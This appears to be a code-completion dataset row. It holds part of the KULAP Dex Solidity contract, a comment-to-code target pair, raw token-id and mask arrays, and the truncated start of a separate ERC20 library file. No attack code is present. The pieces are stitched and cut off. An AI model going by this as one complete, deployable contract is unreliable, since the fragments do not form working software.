Partner { address wallet; // To receive fee on the KULAP Dex network uint16 fee; // fee in bps bytes16 name; // Partner reference } mapping(uint256 => Partner) public partners; constructor() public { Partner memory partner = Partner(msg.sender, 0, "KULAP"); partners[0] = partner; } function updatePartner(uint256 index, address wallet, uint16 fee, bytes16 name) external onlyOwner { Partner memory partner = Partner(wallet, fee, name); partners[index] = partner; } function amountWithFee(uint256 amount, uint256 partnerIndex) internal view returns(uint256 remainingAmount) { Partner storage partner = partners[partnerIndex]; if (partner.fee == 0) { return amount; } uint256 fee = amount.mul(partner.fee).div(10000); return amount.sub(fee); } function collectFee(uint256 partnerIndex, uint256 amount, ERC20 token) internal returns(uint256 remainingAmount) { Partner storage partner = partners[partnerIndex]; if (partner.fee == 0) { return amount; } uint256 fee = amount.mul(partner.fee).div(10000); require(fee < amount, "fee exceeds return amount!"); token.transfer(partner.wallet, fee); return amount.sub(fee); } } contract KULAPDex is IKULAPDex, Partnership, ReentrancyGuard { event Trade( address indexed srcAsset, // Source uint256 srcAmount, address indexed destAsset, // Destination uint256 destAmount, address indexed trader, // User uint256 fee // System fee ); using SafeMath for uint256; ERC20 public etherERC20 = ERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); /** * @notice use token address 0xeee...eee for ether * @dev makes a trade between Ether to token by tradingProxyIndex * @param tradingProxyIndex index of trading proxy * @param srcAmount amount of source tokens * @param dest Destination token * @return amount of actual destination tokens */ function _tradeEtherToToken( uint256 tradingProxyIndex, uint256 srcAmount, ERC20 dest ) private returns(uint256) { // Load trading proxy IKULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex].proxy; // Trade to proxy uint256 destAmount = tradingProxy.trade.value(srcAmount)( etherERC20, dest, srcAmount ); return destAmount; } // Receive ETH in case of trade Token -> ETH, will get ETH back from trading proxy function () external payable {} /** * @notice use token address 0xeee...eee for ether * @dev makes a trade between token to Ether by tradingProxyIndex * @param tradingProxyIndex index of trading proxy * @param src Source token * @param srcAmount amount of source tokens * @return amount of actual destination tokens */ function _tradeTokenToEther( uint256 tradingProxyIndex, ERC20 src, uint256 srcAmount ) private returns(uint256) { // Load trading proxy IKULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex].proxy; // Approve to TradingProxy src.approve(address(tradingProxy), srcAmount); // Trande to proxy uint256 destAmount = tradingProxy.trade( src, etherERC20, srcAmount ); return destAmount; } /** * @dev makes a trade between token to token by tradingProxyIndex * @param tradingProxyIndex index of trading proxy * @param src Source token * @param srcAmount amount of source tokens * @param dest Destination token * @return amount of actual destination tokens */ function _tradeTokenToToken( uint256 tradingProxyIndex, ERC20 src, uint256 srcAmount, ERC20 dest ) private returns(uint256) { // Load trading proxy IKULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex].proxy; // Approve to TradingProxy src.approve(address(tradingProxy), srcAmount); // Trande to proxy uint256 destAmount = tradingProxy.trade( src, dest, srcAmount ); return destAmount; } /** * @notice use token address 0xeee...eee for ether * @dev makes a trade between src and dest token by tradingProxyIndex * Ex1: trade 0.5 ETH -> DAI * 0, "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "500000000000000000", "0xd3c64BbA75859Eb808ACE6F2A6048ecdb2d70817", "21003850000000000000" * Ex2: trade 30 DAI -> ETH * 0, "0xd3c64BbA75859Eb808ACE6F2A6048ecdb2d70817", "30000000000000000000", "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "740825000000000000" * @param _tradingProxyIndex index of trading proxy * @param _src Source token * @param _srcAmount amount of source tokens * @param _dest Destination token * @return amount of actual destination tokens */ function _trade( uint256 _tradingProxyIndex, ERC20 _src, uint256 _srcAmount, ERC20 _dest ) private onlyTradingProxyEnabled(_tradingProxyIndex) returns(uint256) { // Destination amount uint256 destAmount; // Record src/dest asset for later consistency check. uint256 srcAmountBefore; uint256 destAmountBefore; if (etherERC20 == _src) { // Source srcAmountBefore = address(this).balance; } else { srcAmountBefore = _src.balanceOf(address(this)); } if (etherERC20 == _dest) { // Dest destAmountBefore = address(this).balance; } else { destAmountBefore = _dest.balanceOf(address(this)); } if (etherERC20 == _src) { // Trade ETH -> Token destAmount = _tradeEtherToToken(_tradingProxyIndex, _srcAmount, _dest); } else if (etherERC20 == _dest) { // Trade Token -> ETH destAmount = _tradeTokenToEther(_tradingProxyIndex, _src, _srcAmount); } else { // Trade Token -> Token destAmount = _tradeTokenToToken(_tradingProxyIndex, _src, _srcAmount, _dest); } // Recheck if src/dest amount correct if (etherERC20 == _src) { // Source require(address(this).balance == srcAmountBefore.sub(_srcAmount), "source amount mismatch after trade"); } else { require(_src.balanceOf(address(this)) == srcAmountBefore.sub(_srcAmount), "source amount mismatch after trade"); } if (etherERC20 == _dest) { // Dest require(address(this).balance == destAmountBefore.add(destAmount), "destination amount mismatch after trade"); } else { require(_dest.balanceOf(address(this)) == destAmountBefore.add(destAmount), "destination amount mismatch after trade"); } return destAmount; } /** * @notice use token address 0xeee...eee for ether * @dev makes a trade between src and dest token by tradingProxyIndex * Ex1: trade 0.5 ETH -> DAI * 0, "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "500000000000000000", "0xd3c64BbA75859Eb808ACE6F2A6048ecdb2d70817", "21003850000000000000" * Ex2: trade 30 DAI -> ETH * 0, "0xd3c64BbA75859Eb808ACE6F2A6048ecdb2d70817", "30000000000000000000", "0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", "740825000000000000" * @param tradingProxyIndex index of trading proxy * @param src Source token * @param srcAmount amount of source tokens * @param dest Destination token * @param minDestAmount minimun destination amount * @param partnerIndex index of partnership for revenue sharing * @return amount of actual destination tokens */ function trade( uint256 tradingProxyIndex, ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minDestAmount, uint256 partnerIndex ) external payable nonReentrant returns(uint256) { uint256 destAmount; // Prepare source's asset if (etherERC20 != src) { src.transferFrom(msg.sender, address(this), srcAmount); // Transfer token to this address } // Trade with proxy destAmount = _trade(tradingProxyIndex, src, srcAmount, dest); // Throw exception if destination amount doesn't meet user requirement. require(destAmount >= minDestAmount, "destination amount is too low."); if (etherERC20 == dest) { (bool success, ) = msg.sender.call.value(destAmount)(""); // Send back ether to sender require(success, "Transfer ether back to caller failed."); } else { // Send back token to sender // Some ERC20 Smart contract not return Bool, so we can't use require(dest.transfer(x, y)); here dest.transfer(msg.sender, destAmount); } // Collect fee uint256 remainingAmount = collectFee(partnerIndex, destAmount, dest); emit Trade(address(src), srcAmount, address(dest), remainingAmount, msg.sender, 0); return remainingAmount; } /** * @notice use token address 0xeee...eee for ether * @dev makes a trade with multiple routes ex. UNI -> ETH -> DAI * Ex: trade 50 UNI -> ETH -> DAI * Step1: trade 50 UNI -> ETH * Step2: trade xx ETH -> DAI * srcAmount: 50 * 1e18 * routes: [0, 1] * srcTokens: [0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE] * destTokens: [0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 0x6B175474E89094C44Da98b954EedeAC495271d0F] * @param srcAmount amount of source tokens * @param minDestAmount minimun destination amount * @param routes Trading paths * @param srcTokens all source of token pairs * @param destTokens all destination of token pairs * @param partnerIndex index of partnership for revenue sharing * @return amount of actual destination tokens */ function tradeRoutes( uint256 srcAmount, uint256 minDestAmount, uint256[] calldata routes, ERC20[] calldata srcTokens, ERC20[] calldata destTokens, uint256 partnerIndex ) external payable nonReentrant returns(uint256) { require(routes.length > 0, "routes can not be empty"); require(routes.length == srcTokens.length && routes.length == destTokens.length, "Parameter value lengths mismatch"); uint256 remainingAmount; { uint256 destAmount; if (etherERC20 != srcTokens[0]) { srcTokens[0].transferFrom(msg.sender, address(this), srcAmount); // Transfer token to This address } uint256 pathSrcAmount = srcAmount; for (uint i = 0; i < routes.length; i++) { uint256 tradingProxyIndex = routes[i]; ERC20 pathSrc = srcTokens[i]; ERC20 pathDest = destTokens[i]; destAmount = _trade(tradingProxyIndex, pathSrc, pathSrcAmount, pathDest); pathSrcAmount = destAmount; } // Throw exception if destination amount doesn't meet user requirement. require(destAmount >= minDestAmount, "destination amount is too low."); if (etherERC20 == destTokens[destTokens.length - 1]) { // Trade Any -> ETH // Send back ether to sender (bool success,) = msg.sender.call.value(destAmount)(""); require(success, "Transfer ether back to caller failed."); } else { // Trade Any -> Token // Send back token to sender // Some ERC20 Smart contract not return Bool, so we can't use require(dest.transfer(x, y)) here destTokens[destTokens.length - 1].transfer(msg.sender, destAmount); } // Collect fee remainingAmount = collectFee(partnerIndex, destAmount, destTokens[destTokens.length - 1]); } emit Trade(address(srcTokens[0]), srcAmount, address(destTokens[destTokens.length - 1]), remainingAmount, msg.sender, 0); return remainingAmount; } /** * @notice use token address 0xeee...eee for ether * @dev makes a trade with split volumes to multiple-routes ex. UNI -> ETH (5%, 15% and 80%) * @param routes Trading paths * @param src Source token * @param srcAmounts amount of source tokens * @param dest Destination token * @param minDestAmount minimun destination amount * @param partnerIndex index of partnership for revenue sharing * @return amount of actual destination tokens */ function splitTrades( uint256[] calldata routes, ERC20 src, uint256[] calldata srcAmounts, ERC20 dest, uint256 minDestAmount, uint256 partnerIndex ) external payable nonReentrant returns(uint256) { require(routes.length > 0, "routes can not be empty"); require(routes.length == srcAmounts.length, "routes and srcAmounts lengths mismatch"); uint256 srcAmount = srcAmounts[0]; uint256 destAmount = 0; // Prepare source's asset if (etherERC20 != src) { src.transferFrom(msg.sender, address(this), srcAmount); // Transfer token to this address } // Trade with proxies for (uint i = 0; i < routes.length; i++) { uint256 tradingProxyIndex = routes[i]; uint256 amount = srcAmounts[i]; destAmount = destAmount.add(_trade(tradingProxyIndex, src, amount, dest)); } // Throw exception if destination amount doesn't meet user requirement. require(destAmount >= minDestAmount, "destination amount is too low."); if (etherERC20 == dest) { (bool success, ) = msg.sender.call.value(destAmount)(""); // Send back ether to sender require(success, "Transfer ether back to caller failed."); } else { // Send back token to sender // Some ERC20 Smart contract not return Bool, so we can't use require(dest.transfer(x, y)); here dest.transfer(msg.sender, destAmount); } // Collect fee uint256 remainingAmount = collectFee(partnerIndex, destAmount, dest); emit Trade(address(src), srcAmount, address(dest), remainingAmount, msg.sender, 0); return remainingAmount; } /** * @notice use token address 0xeee...eee for ether * @dev get amount of destination token for given source token amount * @param tradingProxyIndex index of trading proxy * @param src Source token * @param dest Destination token * @param srcAmount amount of source tokens * @return amount of actual destination tokens */ function getDestinationReturnAmount( uint256 tradingProxyIndex, ERC20 src, ERC20 dest, uint256 srcAmount, uint256 partnerIndex ) external view returns(uint256) { // Load trading proxy IKULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex].proxy; uint256 destAmount = tradingProxy.getDestinationReturnAmount(src, dest, srcAmount); return amountWithFee(destAmount, partnerIndex); } function getDestinationReturnAmountForSplitTrades( uint256[] calldata routes, ERC20 src, uint256[] calldata srcAmounts, ERC20 dest, uint256 partnerIndex ) external view returns(uint256) { require(routes.length > 0, "routes can not be empty"); require(routes.length == srcAmounts.length, "routes and srcAmounts lengths mismatch"); uint256 destAmount = 0; for (uint i = 0; i < routes.length; i++) { uint256 tradingProxyIndex = routes[i]; uint256 amount = srcAmounts[i]; // Load trading proxy IKULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex].proxy; destAmount = destAmount.add(tradingProxy.getDestinationReturnAmount(src, dest, amount)); } return amountWithFee(destAmount, partnerIndex); } function getDestinationReturnAmountForTradeRoutes( ERC20 src, uint256 srcAmount, ERC20 dest, address[] calldata _tradingPaths, uint256 partnerIndex ) external view returns(uint256) { src; dest; uint256 destAmount; uint256 pathSrcAmount = srcAmount; for (uint i = 0; i < _tradingPaths.length; i += 3) { uint256 tradingProxyIndex = uint256(_tradingPaths[i]); ERC20 pathSrc = ERC20(_tradingPaths[i+1]); ERC20 pathDest = ERC20(_tradingPaths[i+2]); // Load trading proxy IKULAPTradingProxy tradingProxy = tradingProxies[tradingProxyIndex].proxy; destAmount = tradingProxy.getDestinationReturnAmount(pathSrc, pathDest, pathSrcAmount); pathSrcAmount = destAmount; } return amountWithFee(destAmount, partnerIndex); } // In case of expected and unexpected event that have some token amounts remain in this contract, owner can call to collect them. function collectRemainingToken( ERC20 token, uint256 amount ) public onlyOwner { token.transfer(msg.sender, amount); } // In case of expected and unexpected event that have some ether amounts remain in this contract, owner can call to collect them. function collectRemainingEther( uint256 amount ) public onlyOwner { (bool success, ) = msg.sender.call.value(amount)(""); // Send back ether to sender require(success, "Transfer ether back to caller failed."); } }
Recheck if src/dest amount correct
require(address(this).balance == srcAmountBefore.sub(_srcAmount), "source amount mismatch after trade");
10,518,659
[ 1, 426, 1893, 309, 1705, 19, 10488, 3844, 3434, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 2583, 12, 2867, 12, 2211, 2934, 12296, 422, 1705, 6275, 4649, 18, 1717, 24899, 4816, 6275, 3631, 315, 3168, 3844, 13484, 1839, 18542, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.7.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC20} interface. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); 